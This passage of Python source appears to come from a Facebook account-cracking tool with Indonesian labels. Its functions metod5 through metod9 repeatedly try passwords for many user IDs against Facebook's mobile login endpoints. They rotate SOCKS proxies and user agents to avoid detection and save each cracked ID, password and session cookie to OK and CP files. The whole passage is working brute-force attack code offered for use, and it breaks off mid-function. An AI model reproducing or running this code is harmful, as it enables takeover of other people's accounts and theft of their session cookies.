  1143.                     CYXID = Tree(panel(f"""[bold yellow]LOGIN CECKPOINT BOLO 🥴 """,width=30,style=f"bold blue"))
  1144.                     CYXID.add(panel(f"[bold yellow]{idf} | {pw}[bold white]",width=40,style=f"bold blue")).add(panel(f"[bold yellow]{cektahun(idf)}[bold white]",width=15,style=f"bold blue"))
  1145.                     CYXID.add(panel(f"{A2}{ua}[bold white]",style="bold blue"))
  1146.                     cetak(CYXID)
  1147.                     open('CP/'+cpc,'a').write(idf+'|'+pw+'\n')
  1148.                     akun.append(idf+'|'+pw)
  1149.                     ceker(idf,pw)
  1150.                     break
  1151.             elif "c_user" in ses.cookies.get_dict().keys():
  1152.                 if 'no' in taplikasi:
  1153.                     ok+=1
  1154.                     coki=po.cookies.get_dict()
  1155.                     kuki = (";").join([ "%s=%s" % (key, value) for key, value in ses.cookies.get_dict().items() ])
  1156.                     CYXID = Tree(panel(f"""[bold green]LOGIN SUKSES BOLO 🧐 """,width=25,style=f"bold blue"))
  1157.                     CYXID.add(panel(f"[bold green]{idf} | {pw}[bold white]",width=35,style=f"bold blue")).add(panel(f"[bold green]{cektahun(idf)}[bold white]",width=15,style=f"bold blue"))
  1158.                     CYXID.add(panel(f"[bold green]{kuki}[bold white]",style="bold blue"))
  1159.                     CYXID.add(panel(f"{A2}{ua}[bold white]",style="bold blue"))
  1160.                     cetak(CYXID)
  1161.                     open('OK/'+okc,'a').write(idf+'|'+pw+'|'+ua+'\n')
  1162.                     break
  1163.                 elif 'ya' in taplikasi:
  1164.                     ok+=1
  1165.                     coki=po.cookies.get_dict()
  1166.                     kuki = (";").join([ "%s=%s" % (key, value) for key, value in ses.cookies.get_dict().items() ])
  1167.                     CYXID = Tree(panel(f"""[bold green]LOGIN SUKSES BOLO 🧐 """,width=25,style=f"bold blue"))
  1168.                     CYXID.add(panel(f"[bold green]{idf} | {pw}[bold white]",width=35,style=f"bold blue")).add(panel(f"[bold green]{cektahun(idf)}[bold white]",width=15,style=f"bold blue"))
  1169.                     CYXID.add(panel(f"[bold green]{kuki}[bold white]",style="bold blue"))
  1170.                     CYXID.add(panel(f"{A2}{ua}[bold white]",style="bold blue"))
  1171.                     cetak(CYXID)
  1172.                     open('OK/'+okc,'a').write(idf+'|'+pw+'|'+ua+'\n')
  1173.                     cek_apk(kuki)
  1174.                     break      
  1175.                
  1176.             else:
  1177.                 continue
  1178.         except requests.exceptions.ConnectionError:
  1179.             time.sleep(31)
  1180.     loop+=1
  1181.    
  1182. def metod5(idf,pwv):
  1183.     global loop,ok,cp
  1184.     prog.update(des,description=f"[bold green]Free V1[bold white] {loop}/{len(id)} OK-:[bold green]{ok}[/] CP-:[bold yellow]{cp}[/]")
  1185.     prog.advance(des)
  1186.     ua = random.choice(ugen)
  1187.     ua2 = random.choice(ugen2)
  1188.     ses = requests.Session()
  1189.     for pw in pwv:
  1190.         try:
  1191.             if 'ya' in ualuh: ua = ualu[0]
  1192.             nip=random.choice(prox)
  1193.             proxs= {'http': 'socks5://'+nip}
  1194.             ses.headers.update({'Host': 'mbasic.facebook.com','cache-control': 'max-age=0','sec-ch-ua-mobile': '?1','upgrade-insecure-requests': '1','user-agent': ua,'accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9','sec-fetch-site': 'same-origin','sec-fetch-mode': 'cors','sec-fetch-dest': 'empty','accept-language': 'id-ID,id;q=0.9,en-US;q=0.8,en;q=0.7'})
  1195.             p = ses.get('https://mbasic.facebook.com/login.php?skip_api_login=1&api_key=1862952583919182&kid_directed_site=0&app_id=1862952583919182&signed_next=1&next=https%3A%2F%2Fm.facebook.com%2Fv2.9%2Fdialog%2Foauth%2F%3Fplatform%3Dfacebook%26client_id%3D1862952583919182%26response_type%3Dtoken%26redirect_uri%3Dhttps%253A%252F%252Fwww.tiktok.com%252Flogin%252F%26state%3D%257B%2522client_id%2522%253A%25221862952583919182%2522%252C%2522network%2522%253A%2522facebook%2522%252C%2522display%2522%253A%2522popup%2522%252C%2522callback%2522%253A%2522_hellojs_6e2e4pat%2522%252C%2522state%2522%253A%2522%2522%252C%2522redirect_uri%2522%253A%2522https%253A%252F%252Fwww.tiktok.com%252Flogin%252F%2522%252C%2522scope%2522%253A%2522basic%2522%257D%26scope%3Dpublic_profile%26auth_type%3Dreauthenticate%26display%3Dpopup%26ret%3Dlogin%26fbapp_pres%3D0%26logger_id%3Dc5ab7d53-0810-47b0-8640-39adfbf98cfd%26tp%3Dunspecified&cancel_url=https%3A%2F%2Fwww.tiktok.com%2Flogin%2F%3Ferror%3Daccess_denied%26error_code%3D200%26error_description%3DPermissions%2Berror%26error_reason%3Duser_denied%26state%3D%257B%2522client_id%2522%253A%25221862952583919182%2522%252C%2522network%2522%253A%2522facebook%2522%252C%2522display%2522%253A%2522popup%2522%252C%2522callback%2522%253A%2522_hellojs_6e2e4pat%2522%252C%2522state%2522%253A%2522%2522%252C%2522redirect_uri%2522%253A%2522https%253A%252F%252Fwww.tiktok.com%252Flogin%252F%2522%252C%2522scope%2522%253A%2522basic%2522%257D%23_%3D_&display=touch&locale=id_ID&pl_dbl=0&refsrc=deprecated&_rdr')
  1196.             dataa ={"lsd":re.search('name="lsd" value="(.*?)"', str(p.text)).group(1),"jazoest":re.search('name="jazoest" value="(.*?)"', str(p.text)).group(1),"uid":idf,"next":"https://developers.facebook.com/tools/debug/accesstoken/","flow":"login_no_pin","pass":pw,}
  1197.             koki = (";").join([ "%s=%s" % (key, value) for key, value in p.cookies.get_dict().items() ])
  1198.             koki+=' m_pixel_ratio=2.625; wd=412x756'
  1199.             heade={'Host': 'mbasic.facebook.com','cache-control': 'max-age=0','sec-ch-ua': '" Not A;Brand";v="99", "Chromium";v="98"','sec-ch-ua-mobile': '?1','sec-ch-ua-platform': '"Android"','upgrade-insecure-requests': '1','origin': 'https://m.facebook.com','content-type': 'application/x-www-form-urlencoded','user-agent': ua,'accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9','x-requested-with': 'XMLHttpRequest','sec-fetch-site': 'same-origin','sec-fetch-mode': 'cors','sec-fetch-dest': 'empty','referer': 'https://m.facebook.com/index.php?next=https%3A%2F%2Fdevelopers.facebook.com%2Ftools%2Fdebug%2Faccesstoken%2F','accept-encoding': 'gzip, deflate, br','accept-language': 'id-ID,id;q=0.9,en-US;q=0.8,en;q=0.7'}
  1200.             po = ses.post('https://mbasic.facebook.com/login/device-based/validate-password/?shbl=0',data=dataa,allow_redirects=False)
  1201.             if "checkpoint" in po.cookies.get_dict().keys():           
  1202.            
  1203.                 if 'no' in gabriel:
  1204.                     cp+=1
  1205.                     CYXID = Tree(panel(f"""[bold yellow]LOGIN CECKPOINT BOLO 🥴""",width=30,style=f"bold blue"))
  1206.                     CYXID.add(panel(f"[bold yellow]{idf} | {pw}[bold white]",width=40,style=f"bold blue")).add(panel(f"[bold yellow]{cektahun(idf)}[bold white]",width=15,style=f"bold blue"))
  1207.                     CYXID.add(panel(f"{A2}{ua}[bold white]",style="bold blue"))
  1208.                     cetak(CYXID)
  1209.                     open('CP/'+cpc,'a').write(idf+'|'+pw+'\n')
  1210.                     akun.append(idf+'|'+pw)
  1211.                     break
  1212.                    
  1213.                 if 'no' in gabriel:
  1214.                     cp+=1
  1215.                     CYXID = Tree(panel(f"""[bold yellow]LOGIN CECKPOINT BOLO 🥴 """,width=30,style=f"bold blue"))
  1216.                     CYXID.add(panel(f"[bold yellow]{idf} | {pw}[bold white]",width=40,style=f"bold blue")).add(panel(f"[bold yellow]{cektahun(idf)}[bold white]",width=15,style=f"bold blue"))
  1217.                     CYXID.add(panel(f"{A2}{ua}[bold white]",style="bold blue"))
  1218.                     cetak(CYXID)
  1219.                     open('CP/'+cpc,'a').write(idf+'|'+pw+'\n')
  1220.                     akun.append(idf+'|'+pw)
  1221.                     ceker(idf,pw)
  1222.                     break
  1223.             elif "c_user" in ses.cookies.get_dict().keys():
  1224.                 if 'no' in taplikasi:
  1225.                     ok+=1
  1226.                     coki=po.cookies.get_dict()
  1227.                     kuki = (";").join([ "%s=%s" % (key, value) for key, value in ses.cookies.get_dict().items() ])
  1228.                     CYXID = Tree(panel(f"""[bold green]LOGIN SUKSES BOLO 🧐 """,width=25,style=f"bold blue"))
  1229.                     CYXID.add(panel(f"[bold green]{idf} | {pw}[bold white]",width=35,style=f"bold blue")).add(panel(f"[bold green]{cektahun(idf)}[bold white]",width=15,style=f"bold blue"))
  1230.                     CYXID.add(panel(f"[bold green]{kuki}[bold white]",style="bold blue"))
  1231.                     CYXID.add(panel(f"{A2}{ua}[bold white]",style="bold blue"))
  1232.                     cetak(CYXID)
  1233.                     open('OK/'+okc,'a').write(idf+'|'+pw+'|'+ua+'\n')
  1234.                     break
  1235.                 elif 'ya' in taplikasi:
  1236.                     ok+=1
  1237.                     coki=po.cookies.get_dict()
  1238.                     kuki = (";").join([ "%s=%s" % (key, value) for key, value in ses.cookies.get_dict().items() ])
  1239.                     CYXID = Tree(panel(f"""[bold green]LOGIN SUKSES BOLO 🧐 """,width=25,style=f"bold blue"))
  1240.                     CYXID.add(panel(f"[bold green]{idf} | {pw}[bold white]",width=35,style=f"bold blue")).add(panel(f"[bold green]{cektahun(idf)}[bold white]",width=15,style=f"bold blue"))
  1241.                     CYXID.add(panel(f"[bold green]{kuki}[bold white]",style="bold blue"))
  1242.                     CYXID.add(panel(f"{A2}{ua}[bold white]",style="bold blue"))
  1243.                     cetak(CYXID)
  1244.                     open('OK/'+okc,'a').write(idf+'|'+pw+'|'+ua+'\n')
  1245.                     cek_apk(kuki)
  1246.                     break      
  1247.                
  1248.             else:
  1249.                 continue
  1250.         except requests.exceptions.ConnectionError:
  1251.             time.sleep(31)
  1252.     loop+=1
  1253.    
  1254. def metod6(idf,pwv):
  1255.     global loop,ok,cp
  1256.     prog.update(des,description=f"[bold green]free V2[bold white] {loop}/{len(id)} OK-:[bold green]{ok}[/] CP-:[bold yellow]{cp}[/]")
  1257.     prog.advance(des)
  1258.     ua = random.choice(ugen)
  1259.     ua2 = random.choice(ugen2)
  1260.     ses = requests.Session()
  1261.     for pw in pwv:
  1262.         try:
  1263.             if 'ya' in ualuh: ua = ualu[0]
  1264.             nip=random.choice(prox)
  1265.             proxs= {'http': 'socks4://'+nip}
  1266.             ses.headers.update({'Host': 'mbasic.facebook.com','cache-control': 'max-age=0','sec-ch-ua-mobile': '?1','upgrade-insecure-requests': '1','user-agent': ua,'accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9','sec-fetch-site': 'same-origin','sec-fetch-mode': 'cors','sec-fetch-dest': 'empty','accept-language': 'id-ID,id;q=0.9,en-US;q=0.8,en;q=0.7'})
  1267.             p = ses.get('https://mbasic.facebook.com/login.php?skip_api_login=1&api_key=1862952583919182&kid_directed_site=0&app_id=1862952583919182&signed_next=1&next=https%3A%2F%2Fm.facebook.com%2Fv2.9%2Fdialog%2Foauth%2F%3Fplatform%3Dfacebook%26client_id%3D1862952583919182%26response_type%3Dtoken%26redirect_uri%3Dhttps%253A%252F%252Fwww.tiktok.com%252Flogin%252F%26state%3D%257B%2522client_id%2522%253A%25221862952583919182%2522%252C%2522network%2522%253A%2522facebook%2522%252C%2522display%2522%253A%2522popup%2522%252C%2522callback%2522%253A%2522_hellojs_6e2e4pat%2522%252C%2522state%2522%253A%2522%2522%252C%2522redirect_uri%2522%253A%2522https%253A%252F%252Fwww.tiktok.com%252Flogin%252F%2522%252C%2522scope%2522%253A%2522basic%2522%257D%26scope%3Dpublic_profile%26auth_type%3Dreauthenticate%26display%3Dpopup%26ret%3Dlogin%26fbapp_pres%3D0%26logger_id%3Dc5ab7d53-0810-47b0-8640-39adfbf98cfd%26tp%3Dunspecified&cancel_url=https%3A%2F%2Fwww.tiktok.com%2Flogin%2F%3Ferror%3Daccess_denied%26error_code%3D200%26error_description%3DPermissions%2Berror%26error_reason%3Duser_denied%26state%3D%257B%2522client_id%2522%253A%25221862952583919182%2522%252C%2522network%2522%253A%2522facebook%2522%252C%2522display%2522%253A%2522popup%2522%252C%2522callback%2522%253A%2522_hellojs_6e2e4pat%2522%252C%2522state%2522%253A%2522%2522%252C%2522redirect_uri%2522%253A%2522https%253A%252F%252Fwww.tiktok.com%252Flogin%252F%2522%252C%2522scope%2522%253A%2522basic%2522%257D%23_%3D_&display=touch&locale=id_ID&pl_dbl=0&refsrc=deprecated&_rdr')
  1268.             dataa ={"lsd":re.search('name="lsd" value="(.*?)"', str(p.text)).group(1),"jazoest":re.search('name="jazoest" value="(.*?)"', str(p.text)).group(1),"uid":idf,"next":"https://developers.facebook.com/tools/debug/accesstoken/","flow":"login_no_pin","pass":pw,}
  1269.             koki = (";").join([ "%s=%s" % (key, value) for key, value in p.cookies.get_dict().items() ])
  1270.             koki+=' m_pixel_ratio=2.625; wd=412x756'
  1271.             heade={'Host': 'mbasic.facebook.com','cache-control': 'max-age=0','sec-ch-ua': '" Not A;Brand";v="99", "Chromium";v="98"','sec-ch-ua-mobile': '?1','sec-ch-ua-platform': '"Android"','upgrade-insecure-requests': '1','origin': 'https://m.facebook.com','content-type': 'application/x-www-form-urlencoded','user-agent': ua,'accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9','x-requested-with': 'XMLHttpRequest','sec-fetch-site': 'same-origin','sec-fetch-mode': 'cors','sec-fetch-dest': 'empty','referer': 'https://m.facebook.com/index.php?next=https%3A%2F%2Fdevelopers.facebook.com%2Ftools%2Fdebug%2Faccesstoken%2F','accept-encoding': 'gzip, deflate, br','accept-language': 'id-ID,id;q=0.9,en-US;q=0.8,en;q=0.7'}
  1272.             po = ses.post('https://mbasic.facebook.com/login/device-based/validate-password/?shbl=0',data=dataa,allow_redirects=False)
  1273.             if "checkpoint" in po.cookies.get_dict().keys():           
  1274.            
  1275.                 if 'no' in gabriel:
  1276.                     cp+=1
  1277.                     CYXID = Tree(panel(f"""[bold yellow]LOGIN CECKPOINT BOLO 🥴""",width=30,style=f"bold blue"))
  1278.                     CYXID.add(panel(f"[bold yellow]{idf} | {pw}[bold white]",width=40,style=f"bold blue")).add(panel(f"[bold yellow]{cektahun(idf)}[bold white]",width=15,style=f"bold blue"))
  1279.                     CYXID.add(panel(f"{A2}{ua}[bold white]",style="bold blue"))
  1280.                     cetak(CYXID)
  1281.                     open('CP/'+cpc,'a').write(idf+'|'+pw+'\n')
  1282.                     akun.append(idf+'|'+pw)
  1283.                     break
  1284.                    
  1285.                 if 'no' in gabriel:
  1286.                     cp+=1
  1287.                     CYXID = Tree(panel(f"""[bold yellow]LOGIN CECKPOINT BOLO 🥴 """,width=30,style=f"bold blue"))
  1288.                     CYXID.add(panel(f"[bold yellow]{idf} | {pw}[bold white]",width=40,style=f"bold blue")).add(panel(f"[bold yellow]{cektahun(idf)}[bold white]",width=15,style=f"bold blue"))
  1289.                     CYXID.add(panel(f"{A2}{ua}[bold white]",style="bold blue"))
  1290.                     cetak(CYXID)
  1291.                     open('CP/'+cpc,'a').write(idf+'|'+pw+'\n')
  1292.                     akun.append(idf+'|'+pw)
  1293.                     ceker(idf,pw)
  1294.                     break
  1295.             elif "c_user" in ses.cookies.get_dict().keys():
  1296.                 if 'no' in taplikasi:
  1297.                     ok+=1
  1298.                     coki=po.cookies.get_dict()
  1299.                     kuki = (";").join([ "%s=%s" % (key, value) for key, value in ses.cookies.get_dict().items() ])
  1300.                     CYXID = Tree(panel(f"""[bold green]LOGIN SUKSES BOLO 🧐 """,width=25,style=f"bold blue"))
  1301.                     CYXID.add(panel(f"[bold green]{idf} | {pw}[bold white]",width=35,style=f"bold blue")).add(panel(f"[bold green]{cektahun(idf)}[bold white]",width=15,style=f"bold blue"))
  1302.                     CYXID.add(panel(f"[bold green]{kuki}[bold white]",style="bold blue"))
  1303.                     CYXID.add(panel(f"{A2}{ua}[bold white]",style="bold blue"))
  1304.                     cetak(CYXID)
  1305.                     open('OK/'+okc,'a').write(idf+'|'+pw+'|'+ua+'\n')
  1306.                     break
  1307.                 elif 'ya' in taplikasi:
  1308.                     ok+=1
  1309.                     coki=po.cookies.get_dict()
  1310.                     kuki = (";").join([ "%s=%s" % (key, value) for key, value in ses.cookies.get_dict().items() ])
  1311.                     CYXID = Tree(panel(f"""[bold green]LOGIN SUKSES BOLO 🧐 """,width=25,style=f"bold blue"))
  1312.                     CYXID.add(panel(f"[bold green]{idf} | {pw}[bold white]",width=35,style=f"bold blue")).add(panel(f"[bold green]{cektahun(idf)}[bold white]",width=15,style=f"bold blue"))
  1313.                     CYXID.add(panel(f"[bold green]{kuki}[bold white]",style="bold blue"))
  1314.                     CYXID.add(panel(f"{A2}{ua}[bold white]",style="bold blue"))
  1315.                     cetak(CYXID)
  1316.                     open('OK/'+okc,'a').write(idf+'|'+pw+'|'+ua+'\n')
  1317.                     cek_apk(kuki)
  1318.                     break      
  1319.                
  1320.             else:
  1321.                 continue
  1322.         except requests.exceptions.ConnectionError:
  1323.             time.sleep(31)
  1324.     loop+=1
  1325.  
  1326. #--------------------[ METODE REGULER ]-----------------#
  1327. def metod7(idf,pwv):
  1328.     global loop,ok,cp
  1329.     prog.update(des,description=f"[bold green]mobile.facebook.com[bold white] {loop}/{len(id)} OK-:[bold green]{ok}[/] CP-:[bold yellow]{cp}[/]")
  1330.     prog.advance(des)
  1331.     ua = random.choice(ugen)
  1332.     ua2 = random.choice(ugen2)
  1333.     ses = requests.Session()
  1334.     for pw in pwv:
  1335.         try:
  1336.             if 'ya' in ualuh: ua = ualu[0]
  1337.             nip=random.choice(prox)
  1338.             proxs= {'http': 'socks4://'+nip}
  1339.             ses.headers.update({"Host":"m.facebook.com","upgrade-insecure-requests":"1","user-agent":ua,"accept":"text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*[inserted by cython to avoid comment closer]/[inserted by cython to avoid comment start]*;q=0.8,application/signed-exchange;v=b3;q=0.9","dnt":"1","x-requested-with":"mark.via.gp","sec-fetch-site":"same-origin","sec-fetch-mode":"cors","sec-fetch-user":"empty","sec-fetch-dest":"document","referer":"https://m.facebook.com/","accept-encoding":"gzip, deflate br","accept-language":"en-GB,en-US;q=0.9,en;q=0.8"})
  1340.             p = ses.get('https://m.facebook.com/login/?email='+idf).text
  1341.             dataa ={
  1342. 'lsd':re.search('name="lsd" value="(.*?)"', str(p)).group(1),
  1343. 'jazoest':re.search('name="jazoest" value="(.*?)"', str(p)).group(1),
  1344. 'm_ts':re.search('name="m_ts" value="(.*?)"', str(p)).group(1),
  1345. 'li':re.search('name="li" value="(.*?)"', str(p)).group(1),
  1346. 'email':idf,
  1347. 'pass':pw
  1348. }
  1349.             ses.headers.update({'Host': 'm.facebook.com',
  1350. 'cache-control': 'max-age=0',
  1351. 'upgrade-insecure-requests': '1',
  1352. 'origin': 'https://m.facebook.com',
  1353. 'content-type': 'application/x-www-form-urlencoded',
  1354. 'user-agent': ua,
  1355. 'accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*[inserted by cython to avoid comment closer]/[inserted by cython to avoid comment start]*;q=0.8,application/signed-exchange;v=b3;q=0.9',
  1356. 'sec-fetch-site': 'same-origin',
  1357. 'sec-fetch-mode': 'cors',
  1358. 'sec-fetch-user': 'empty',
  1359. 'sec-fetch-dest': 'document',
  1360. 'referer': 'https://m.facebook.com/login/?email='+idf,
  1361. 'accept-encoding':'gzip, deflate br',
  1362. 'accept-language':'en-GB,en-US;q=0.9,en;q=0.8'})
  1363.  
  1364.             po = ses.post('https://m.facebook.com/login/device-based/regular/login/?shbl=1&refsrc=deprecated',data=dataa,allow_redirects=False,proxies=proxs)
  1365.             if "checkpoint" in po.cookies.get_dict().keys():           
  1366.            
  1367.                 if 'no' in gabriel:
  1368.                     cp+=1
  1369.                     CYXID = Tree(panel(f"""[bold yellow]LOGIN CECKPOINT BOLO 🥴""",width=30,style=f"bold blue"))
  1370.                     CYXID.add(panel(f"[bold yellow]{idf} | {pw}[bold white]",width=40,style=f"bold blue")).add(panel(f"[bold yellow]{cektahun(idf)}[bold white]",width=15,style=f"bold blue"))
  1371.                     CYXID.add(panel(f"{A2}{ua}[bold white]",style="bold blue"))
  1372.                     cetak(CYXID)
  1373.                     open('CP/'+cpc,'a').write(idf+'|'+pw+'\n')
  1374.                     akun.append(idf+'|'+pw)
  1375.                     break
  1376.                    
  1377.                 if 'no' in gabriel:
  1378.                     cp+=1
  1379.                     CYXID = Tree(panel(f"""[bold yellow]LOGIN CECKPOINT BOLO 🥴 """,width=30,style=f"bold blue"))
  1380.                     CYXID.add(panel(f"[bold yellow]{idf} | {pw}[bold white]",width=40,style=f"bold blue")).add(panel(f"[bold yellow]{cektahun(idf)}[bold white]",width=15,style=f"bold blue"))
  1381.                     CYXID.add(panel(f"{A2}{ua}[bold white]",style="bold blue"))
  1382.                     cetak(CYXID)
  1383.                     open('CP/'+cpc,'a').write(idf+'|'+pw+'\n')
  1384.                     akun.append(idf+'|'+pw)
  1385.                     ceker(idf,pw)
  1386.                     break
  1387.             elif "c_user" in ses.cookies.get_dict().keys():
  1388.                 if 'no' in taplikasi:
  1389.                     ok+=1
  1390.                     coki=po.cookies.get_dict()
  1391.                     kuki = (";").join([ "%s=%s" % (key, value) for key, value in ses.cookies.get_dict().items() ])
  1392.                     CYXID = Tree(panel(f"""[bold green]LOGIN SUKSES BOLO 🧐 """,width=25,style=f"bold blue"))
  1393.                     CYXID.add(panel(f"[bold green]{idf} | {pw}[bold white]",width=35,style=f"bold blue")).add(panel(f"[bold green]{cektahun(idf)}[bold white]",width=15,style=f"bold blue"))
  1394.                     CYXID.add(panel(f"[bold green]{kuki}[bold white]",style="bold blue"))
  1395.                     CYXID.add(panel(f"{A2}{ua}[bold white]",style="bold blue"))
  1396.                     cetak(CYXID)
  1397.                     open('OK/'+okc,'a').write(idf+'|'+pw+'|'+ua+'\n')
  1398.                     break
  1399.                 elif 'ya' in taplikasi:
  1400.                     ok+=1
  1401.                     coki=po.cookies.get_dict()
  1402.                     kuki = (";").join([ "%s=%s" % (key, value) for key, value in ses.cookies.get_dict().items() ])
  1403.                     CYXID = Tree(panel(f"""[bold green]LOGIN SUKSES BOLO 🧐 """,width=25,style=f"bold blue"))
  1404.                     CYXID.add(panel(f"[bold green]{idf} | {pw}[bold white]",width=35,style=f"bold blue")).add(panel(f"[bold green]{cektahun(idf)}[bold white]",width=15,style=f"bold blue"))
  1405.                     CYXID.add(panel(f"[bold green]{kuki}[bold white]",style="bold blue"))
  1406.                     CYXID.add(panel(f"{A2}{ua}[bold white]",style="bold blue"))
  1407.                     cetak(CYXID)
  1408.                     open('OK/'+okc,'a').write(idf+'|'+pw+'|'+ua+'\n')
  1409.                     cek_apk(kuki)
  1410.                     break      
  1411.                
  1412.             else:
  1413.                 continue
  1414.         except requests.exceptions.ConnectionError:
  1415.             time.sleep(31)
  1416.     loop+=1
  1417.    
  1418. def metod8(idf,pwv):
  1419.     global loop,ok,cp
  1420.     prog.update(des,description=f"[bold green]mobile.facebook.com[bold white] {loop}/{len(id)} OK-:[bold green]{ok}[/] CP-:[bold yellow]{cp}[/]")
  1421.     prog.advance(des)
  1422.     ua = random.choice(ugen)
  1423.     ua2 = random.choice(ugen2)
  1424.     ses = requests.Session()
  1425.     for pw in pwv:
  1426.         try:
  1427.             if 'ya' in ualuh: ua = ualu[0]
  1428.             nip=random.choice(prox)
  1429.             proxs= {'http': 'socks5://'+nip}
  1430.             ses.headers.update({"Host":"m.facebook.com","upgrade-insecure-requests":"1","user-agent":ua,"accept":"text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*[inserted by cython to avoid comment closer]/[inserted by cython to avoid comment start]*;q=0.8,application/signed-exchange;v=b3;q=0.9","dnt":"1","x-requested-with":"mark.via.gp","sec-fetch-site":"same-origin","sec-fetch-mode":"cors","sec-fetch-user":"empty","sec-fetch-dest":"document","referer":"https://m.facebook.com/","accept-encoding":"gzip, deflate br","accept-language":"en-GB,en-US;q=0.9,en;q=0.8"})
  1431.             p = ses.get('https://m.facebook.com/login/?email='+idf).text
  1432.             dataa ={
  1433. 'lsd':re.search('name="lsd" value="(.*?)"', str(p)).group(1),
  1434. 'jazoest':re.search('name="jazoest" value="(.*?)"', str(p)).group(1),
  1435. 'm_ts':re.search('name="m_ts" value="(.*?)"', str(p)).group(1),
  1436. 'li':re.search('name="li" value="(.*?)"', str(p)).group(1),
  1437. 'email':idf,
  1438. 'pass':pw
  1439. }
  1440.             ses.headers.update({'Host': 'm.facebook.com',
  1441. 'cache-control': 'max-age=0',
  1442. 'upgrade-insecure-requests': '1',
  1443. 'origin': 'https://m.facebook.com',
  1444. 'content-type': 'application/x-www-form-urlencoded',
  1445. 'user-agent': ua,
  1446. 'accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*[inserted by cython to avoid comment closer]/[inserted by cython to avoid comment start]*;q=0.8,application/signed-exchange;v=b3;q=0.9',
  1447. 'sec-fetch-site': 'same-origin',
  1448. 'sec-fetch-mode': 'cors',
  1449. 'sec-fetch-user': 'empty',
  1450. 'sec-fetch-dest': 'document',
  1451. 'referer': 'https://m.facebook.com/login/?email='+idf,
  1452. 'accept-encoding':'gzip, deflate br',
  1453. 'accept-language':'en-GB,en-US;q=0.9,en;q=0.8'})
  1454.  
  1455.             po = ses.post('https://m.facebook.com/login/device-based/regular/login/?shbl=1&refsrc=deprecated',data=dataa,allow_redirects=False,proxies=proxs)
  1456.             if "checkpoint" in po.cookies.get_dict().keys():           
  1457.            
  1458.                 if 'no' in gabriel:
  1459.                     cp+=1
  1460.                     CYXID = Tree(panel(f"""[bold yellow]LOGIN CECKPOINT BOLO 🥴""",width=30,style=f"bold blue"))
  1461.                     CYXID.add(panel(f"[bold yellow]{idf} | {pw}[bold white]",width=40,style=f"bold blue")).add(panel(f"[bold yellow]{cektahun(idf)}[bold white]",width=15,style=f"bold blue"))
  1462.                     CYXID.add(panel(f"{A2}{ua}[bold white]",style="bold blue"))
  1463.                     cetak(CYXID)
  1464.                     open('CP/'+cpc,'a').write(idf+'|'+pw+'\n')
  1465.                     akun.append(idf+'|'+pw)
  1466.                     break
  1467.                    
  1468.                 if 'no' in gabriel:
  1469.                     cp+=1
  1470.                     CYXID = Tree(panel(f"""[bold yellow]LOGIN CECKPOINT BOLO 🥴 """,width=30,style=f"bold blue"))
  1471.                     CYXID.add(panel(f"[bold yellow]{idf} | {pw}[bold white]",width=40,style=f"bold blue")).add(panel(f"[bold yellow]{cektahun(idf)}[bold white]",width=15,style=f"bold blue"))
  1472.                     CYXID.add(panel(f"{A2}{ua}[bold white]",style="bold blue"))
  1473.                     cetak(CYXID)
  1474.                     open('CP/'+cpc,'a').write(idf+'|'+pw+'\n')
  1475.                     akun.append(idf+'|'+pw)
  1476.                     ceker(idf,pw)
  1477.                     break
  1478.             elif "c_user" in ses.cookies.get_dict().keys():
  1479.                 if 'no' in taplikasi:
  1480.                     ok+=1
  1481.                     coki=po.cookies.get_dict()
  1482.                     kuki = (";").join([ "%s=%s" % (key, value) for key, value in ses.cookies.get_dict().items() ])
  1483.                     CYXID = Tree(panel(f"""[bold green]LOGIN SUKSES BOLO 🧐 """,width=25,style=f"bold blue"))
  1484.                     CYXID.add(panel(f"[bold green]{idf} | {pw}[bold white]",width=35,style=f"bold blue")).add(panel(f"[bold green]{cektahun(idf)}[bold white]",width=15,style=f"bold blue"))
  1485.                     CYXID.add(panel(f"[bold green]{kuki}[bold white]",style="bold blue"))
  1486.                     CYXID.add(panel(f"{A2}{ua}[bold white]",style="bold blue"))
  1487.                     cetak(CYXID)
  1488.                     open('OK/'+okc,'a').write(idf+'|'+pw+'|'+ua+'\n')
  1489.                     break
  1490.                 elif 'ya' in taplikasi:
  1491.                     ok+=1
  1492.                     coki=po.cookies.get_dict()
  1493.                     kuki = (";").join([ "%s=%s" % (key, value) for key, value in ses.cookies.get_dict().items() ])
  1494.                     CYXID = Tree(panel(f"""[bold green]LOGIN SUKSES BOLO 🧐 """,width=25,style=f"bold blue"))
  1495.                     CYXID.add(panel(f"[bold green]{idf} | {pw}[bold white]",width=35,style=f"bold blue")).add(panel(f"[bold green]{cektahun(idf)}[bold white]",width=15,style=f"bold blue"))
  1496.                     CYXID.add(panel(f"[bold green]{kuki}[bold white]",style="bold blue"))
  1497.                     CYXID.add(panel(f"{A2}{ua}[bold white]",style="bold blue"))
  1498.                     cetak(CYXID)
  1499.                     open('OK/'+okc,'a').write(idf+'|'+pw+'|'+ua+'\n')
  1500.                     cek_apk(kuki)
  1501.                     break      
  1502.                
  1503.             else:
  1504.                 continue
  1505.         except requests.exceptions.ConnectionError:
  1506.             time.sleep(31)
  1507.     loop+=1
  1508.    
  1509. def metod9(idf,pwv):
  1510.     global loop,ok,cp
  1511.     prog.update(des,description=f"[bold green]Mobile V3[bold white] {loop}/{len(id)} OK-:[bold green]{ok}[/] CP-:[bold yellow]{cp}[/]")
  1512.     prog.advance(des)
  1513.     ua = random.choice(ugen)
  1514.     ua2 = random.choice(ugen2)
  1515.     ses = requests.Session()
  1516.     for pw in pwv:
  1517.         try:
  1518.             if 'ya' in ualuh: ua = ualu[0]
  1519.             nip=random.choice(prox)
  1520.             proxs= {'http': 'socks5://'+nip}
